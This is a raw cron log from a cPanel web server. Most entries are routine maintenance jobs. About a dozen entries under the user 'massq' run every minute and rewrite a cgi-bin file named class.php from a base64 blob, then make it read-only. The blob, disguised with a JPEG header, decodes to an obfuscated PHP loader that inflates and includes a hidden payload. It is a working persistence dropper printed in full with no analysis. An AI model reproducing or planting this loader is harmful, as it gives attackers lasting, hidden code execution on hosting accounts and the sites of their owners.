Sep  3 13:05:01 server CROND[8470]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 13:05:01 server CROND[8476]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 13:05:01 server CROND[8473]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 13:05:01 server CROND[8483]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 13:05:01 server CROND[8480]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 13:05:01 server CROND[8481]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 13:05:01 server CROND[8479]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 13:06:01 server CROND[9321]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 13:06:01 server CROND[9322]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 13:06:01 server CROND[9323]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 13:07:01 server CROND[9763]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 13:07:01 server CROND[9764]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 13:07:01 server CROND[9765]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 13:08:01 server CROND[10146]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 13:08:01 server CROND[10148]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 13:08:01 server CROND[10149]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 13:09:01 server CROND[10667]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 13:09:01 server CROND[10668]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 13:09:01 server CROND[10669]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 13:09:01 server CROND[10670]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  3 13:10:01 server CROND[11092]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 13:10:01 server CROND[11093]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 13:10:01 server CROND[11094]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 13:10:01 server CROND[11096]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 13:10:01 server CROND[11098]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 13:10:01 server CROND[11102]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 13:10:01 server CROND[11101]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 13:10:01 server CROND[11103]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 13:11:01 server CROND[12050]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 13:11:01 server CROND[12049]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 13:11:01 server CROND[12051]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 13:12:01 server CROND[12466]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 13:12:01 server CROND[12468]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 13:12:01 server CROND[12467]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 13:12:01 server CROND[12469]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 13:13:01 server CROND[12869]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 13:13:01 server CROND[12870]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 13:13:01 server CROND[12871]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 13:14:01 server CROND[13267]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 13:14:01 server CROND[13268]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 13:14:01 server CROND[13269]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 13:15:01 server CROND[13657]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 13:15:01 server CROND[13659]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 13:15:01 server CROND[13660]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 13:15:01 server CROND[13663]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 13:15:01 server CROND[13664]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 13:15:01 server CROND[13665]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  3 13:15:01 server CROND[13666]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 13:15:01 server CROND[13667]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 13:16:01 server CROND[14614]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
